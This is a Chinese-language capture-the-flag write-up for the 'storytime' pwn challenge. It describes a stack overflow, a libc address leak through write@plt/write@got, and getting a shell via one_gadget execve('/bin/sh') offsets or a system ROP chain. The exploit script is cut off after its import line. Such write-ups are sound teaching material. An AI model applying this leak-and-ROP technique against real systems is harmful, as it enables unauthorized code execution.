nightmare 2.15.HS2019-storytime-wp
文件分析
文件夹包含libc.so.6
,关于替换动态链接库,可见 https://antel0p3.github.io/2023/05/30/change_libc/
1 | $ checksec storytime |
代码分析
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
明显存在栈溢出
攻击方法
通过调用
write@plt
(第二个参数为write@got
)来泄露write实际地址进而获取libc基地址,输出后跳转回main待后续攻击注意通常只有程序执行过的库函数会出现在plt和got中,所以不能直接用
puts
来输出找到
one_gadget
或构造system pop链,获取shellone_gadget安装使用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19$ apt install ruby
$ gem install one_gadget
$ one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL以上得到的地址在满足条件下可以直接执行
/bin/sh
,可以作为跳转地址,都尝试失败后就只能通过system获取shell了
exp
1 | from pwn import * |